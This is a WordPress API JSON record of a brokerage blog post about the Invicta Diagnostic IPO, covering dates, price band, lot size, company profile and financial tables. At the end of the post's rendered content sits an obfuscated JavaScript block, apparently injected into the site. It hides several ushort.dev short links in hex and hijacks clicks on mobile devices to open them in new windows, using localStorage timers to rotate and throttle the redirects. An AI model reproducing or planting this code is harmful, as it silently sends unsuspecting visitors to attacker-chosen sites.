{"id":15757,"date":"2025-12-01T08:10:10","date_gmt":"2025-12-01T08:10:10","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15757"},"modified":"2025-12-01T09:42:41","modified_gmt":"2025-12-01T09:42:41","slug":"invicta-diagnostic-limited-ipo","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/","title":{"rendered":"Invicta Diagnostic Limited IPO | Important Dates, Price, and More"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#Invicta_Diagnostic_Limited_IPO_Details\" >Invicta Diagnostic Limited | IPO Details<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#Invicta_Diagnostic_Limited_IPO_Company_Overview\" >Invicta Diagnostic Limited IPO | Company Overview<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#Invicta_Diagnostic_Limited_IPO_Key_Details\" >Invicta Diagnostic Limited IPO | Key Details<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#Invicta_Diagnostic_Limited_IPO_Financial_Overview\" >Invicta Diagnostic Limited IPO | Financial Overview<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/#Invicta_Diagnostic_Limited_IPO_FAQs\" >Invicta Diagnostic Limited IPO | FAQs<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Invicta Diagnostic Ltd. is launching an IPO of \u20b928.12 crore, opening for subscription on December 1, 2025, and closing on December 3, 2025. The shares will be listed on the NSE SME, with a tentative listing date of December 8, 2025.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This IPO is entirely a fresh issue of 33,08,800 shares, aggregating up to \u20b928.12 crore.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The price band is \u20b980 \u2013 \u20b985 per share, and the minimum lot size is 1,600 shares. For retail investors, the minimum investment is 2 lots (3,200 shares), totalling \u20b92,72,000 at the upper price band. In comparison, sNII investors must apply for at least 4,800 shares (\u20b94,08,000), while bNII investors are required to apply for a minimum of 12,800 shares (\u20b910,88,000).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/blog\/how-to-apply-for-ipos-on-shoonya\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Here are the quick steps to apply for the Invicta Diagnostic Limited IPO!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-invicta-diagnostic-limited-ipo-details\"><span class=\"ez-toc-section\" id=\"Invicta_Diagnostic_Limited_IPO_Details\"><\/span>Invicta Diagnostic Limited | IPO Details<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Detail<\/strong><\/td><td><strong>Information<\/strong><\/td><\/tr><tr><td><strong>IPO Opening Date<\/strong><\/td><td>December 1, 2025<\/td><\/tr><tr><td><strong>IPO Closing Date<\/strong><\/td><td>December 3, 2025<\/td><\/tr><tr><td><strong>Tentative IPO Listing Date<\/strong><\/td><td>December 8, 2025<\/td><\/tr><tr><td><strong>Face Value<\/strong><\/td><td>\u20b910 per share<\/td><\/tr><tr><td><strong>Price Band<\/strong><\/td><td>\u20b980 \u2013 \u20b985 per share<\/td><\/tr><tr><td><strong>Lot Size<\/strong><\/td><td>1,600 shares<\/td><\/tr><tr><td><strong>Total Issue Size<\/strong><\/td><td>33,08,800 shares (\u20b928.12 Cr)<\/td><\/tr><tr><td><strong>Fresh Issue<\/strong><\/td><td>33,08,800 shares<\/td><\/tr><tr><td><strong>IPO Segment<\/strong><\/td><td>SME \u2013 Book Building<\/td><\/tr><tr><td><strong>Listing At<\/strong><\/td><td>NSE SME<\/td><\/tr><tr><td><strong>Shareholding Pre-Issue<\/strong><\/td><td>92,63,173 shares<\/td><\/tr><tr><td><strong>Shareholding Post-Issue<\/strong><\/td><td>1,25,71,973 shares<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-invicta-diagnostic-limited-ipo-company-overview\"><span class=\"ez-toc-section\" id=\"Invicta_Diagnostic_Limited_IPO_Company_Overview\"><\/span>Invicta Diagnostic Limited IPO | Company Overview<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Invicta Diagnostic Ltd. was incorporated in 2021. It provides integrated radiology and pathology services under the brand PC Diagnostics. The company operates through 7 diagnostic centres and a central lab across Mumbai and the Mumbai Metropolitan Region, following a hub-and-spoke model.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The network includes a flagship hub in Thane West offering full-spectrum pathology and advanced radiology such as PET CT and MRI, along with three additional hubs in Bhayandar, Byculla, and Marol that provide specialised diagnostic services, and three spokes in Lower Parel, Sewri, and Kalwa focused on basic imaging and sample collection.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The company offers a comprehensive range of tests, including 60 routine pathology tests, 487 specialised pathology tests, 96 basic radiology tests, and 130 advanced radiology tests, supported by a home sample collection network.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As of October 31, 2025, Invicta Diagnostic employed 157 permanent staff.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Don\u2019t miss the chance to invest in the Invicta Diagnostic Limited IPO. <a href=\"https:\/\/shoonya.com\/open-an-account\/?utm_source=blog&amp;utm_medium=organic&amp;utm_campaign=cta\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Open a free Demat account!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-invicta-diagnostic-limited-ipo-key-details\"><span class=\"ez-toc-section\" id=\"Invicta_Diagnostic_Limited_IPO_Key_Details\"><\/span>Invicta Diagnostic Limited IPO | Key Details<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>IPO Opening Date: <\/strong>December 1, 2025<\/li>\n\n\n\n<li><strong>IPO Closing Date<\/strong>: December 3, 2025<\/li>\n\n\n\n<li><strong>Allotment Date:<\/strong> December 4, 2025<\/li>\n\n\n\n<li><strong>Price Band:<\/strong> \u20b980 \u2013 \u20b985 per share<\/li>\n\n\n\n<li><strong>IPO Size:<\/strong> \u20b928.12 Crores (Fresh Issue)<\/li>\n\n\n\n<li><strong>Refunds Initiated:<\/strong> December 5, 2025<\/li>\n\n\n\n<li><strong>Shares Credited to Demat:<\/strong> December 5, 2025<\/li>\n\n\n\n<li><strong>Listing Date:<\/strong> December 8, 2025<\/li>\n\n\n\n<li><strong>Cut-off Time for UPI Mandate Confirmation:<\/strong> 5 PM on December 3, 2025<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-invicta-diagnostic-limited-ipo-financial-overview\"><span class=\"ez-toc-section\" id=\"Invicta_Diagnostic_Limited_IPO_Financial_Overview\"><\/span>Invicta Diagnostic Limited IPO | Financial Overview<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Invicta Diagnostic delivered strong growth, with revenue rising 90% YoY and profit after tax increasing 30% between FY24 and FY25.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is a snapshot of its financial performance:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em><strong>Amounts are in \u20b9 Crore.<\/strong><\/em><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Detail<\/strong><\/td><td><strong>31-Mar-25<\/strong><\/td><td><strong>31-Mar-24<\/strong><\/td><td><strong>Change (FY25 vs FY24)<\/strong><\/td><td><strong>Change %<\/strong><\/td><\/tr><tr><td><strong>Assets<\/strong><\/td><td>21.22<\/td><td>15.89<\/td><td>+5.33<\/td><td>+33.54%<\/td><\/tr><tr><td><strong>Total Income<\/strong><\/td><td>30.18<\/td><td>15.90<\/td><td>+14.28<\/td><td>+89.81%<\/td><\/tr><tr><td><strong>Profit After Tax<\/strong><\/td><td>4.93<\/td><td>3.81<\/td><td>+1.12<\/td><td>+29.39%<\/td><\/tr><tr><td><strong>EBITDA<\/strong><\/td><td>9.20<\/td><td>7.09<\/td><td>+2.11<\/td><td>+29.74%<\/td><\/tr><tr><td><strong>Net Worth<\/strong><\/td><td>13.60<\/td><td>8.67<\/td><td>+4.93<\/td><td>+56.84%<\/td><\/tr><tr><td><strong>Reserves &amp; Surplus<\/strong><\/td><td>5.18<\/td><td>8.54<\/td><td>\u20133.36<\/td><td>\u201339.34%<\/td><\/tr><tr><td><strong>Total Borrowing<\/strong><\/td><td>3.54<\/td><td>3.81<\/td><td>\u20130.27<\/td><td>\u20137.09%<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-invicta-diagnostic-limited-ipo-faqs\"><span class=\"ez-toc-section\" id=\"Invicta_Diagnostic_Limited_IPO_FAQs\"><\/span>Invicta Diagnostic Limited IPO | FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1764576150958\"><strong class=\"schema-faq-question\"><strong>1. When does the Invicta Diagnostic IPO open and close?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Invicta Diagnostic IPO opens on December 1, 2025, and closes on December 3, 2025.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1764576151869\"><strong class=\"schema-faq-question\"><strong>2. What is the price band and lot size for the Invicta Diagnostic IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Invicta Diagnostic IPO price band is \u20b980 \u2013 \u20b985 per share. The minimum lot size is 1,600 shares, and retail investors must apply for 3,200 shares (2 lots).<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1764576152693\"><strong class=\"schema-faq-question\"><strong>3. How can I apply for the Invicta Diagnostic IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">You can apply for the Invicta Diagnostic IPO through any stockbroker\u2019s app, ASBA net banking, or UPI mandate. Select Invicta Diagnostic IPO, choose the lot size, submit your bid, and approve the UPI mandate.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1764576184030\"><strong class=\"schema-faq-question\"><strong>4. What is the refund and Demat credit date for the Invicta Diagnostic IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">Refunds for the Invicta Diagnostic IPO will be processed on December 5, 2025, and shares will be credited to Demat accounts the same day.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1764576200294\"><strong class=\"schema-faq-question\"><strong>5. What is the face value of shares in the Invicta Diagnostic IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">The face value of shares offered in the Invicta Diagnostic IPO is \u20b910 per share.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1764576200783\"><strong class=\"schema-faq-question\"><strong>6. How many shares are being offered in the Invicta Diagnostic IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Invicta Diagnostic IPO consists of a fresh issue of 33,08,800 shares, totalling \u20b928.12 Crores.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1764576219543\"><strong class=\"schema-faq-question\"><strong>7. Who are the promoters of Invicta Diagnostic Ltd. in the Invicta Diagnostic IPO?<\/strong><\/strong> <p class=\"schema-faq-answer\">The promoters of the Invicta Diagnostic IPO are Dr. Ketan Jayantilal Jain, Dr. Sanket Vinod Jain, Rohit Prakash Srivastava, Badal Kailash Naredi, and Jayesh Prakash Jain.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Invicta Diagnostic Ltd. is launching an IPO of \u20b928.12 crore, opening for subscription on December 1, 2025, and closing on December 3, 2025. The shares will be listed on the NSE SME, with a tentative listing date of December 8, 2025. This IPO is entirely a fresh issue of 33,08,800 shares, aggregating up to \u20b928.12 &hellip; <a href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Invicta Diagnostic Limited IPO | Important Dates, Price, and More&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15759,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[7],"tags":[8894,8893],"class_list":["post-15757","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ipo","tag-invicta-diagnostic-ipo","tag-invicta-diagnostic-limited-ipo"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr<\/title>\n<meta name=\"description\" content=\"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr\" \/>\n<meta property=\"og:description\" content=\"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/invicta-diagnostic-limited-ipo\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-01T08:10:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-12-01T09:42:41+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"atulrana\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 Cr\" \/>\n<meta name=\"twitter:description\" content=\"Invicta Diagnostic IPO opens on December 1, 2025, with a \u20b928.12 Cr fresh issue. Check bidding period, price band, lot size, allotment, and listing details.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/12\/Invicta-Diagnostic-Limited-IPO.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"atulrana\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/\"},\"author\":{\"name\":\"atulrana\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/753b3e2352dc2915e7069273091f9124\"},\"headline\":\"Invicta Diagnostic Limited IPO | Important Dates, Price, and More\",\"datePublished\":\"2025-12-01T08:10:10+00:00\",\"dateModified\":\"2025-12-01T09:42:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/\"},\"wordCount\":679,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/12\\\/Invicta-Diagnostic-Limited-IPO.jpg\",\"keywords\":[\"Invicta Diagnostic IPO\",\"Invicta Diagnostic Limited IPO\"],\"articleSection\":[\"IPO\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/invicta-diagnostic-limited-ipo\\\/\",\"name\":\"Invicta Diagnostic Limited IPO | Issue Size \u20b928.12 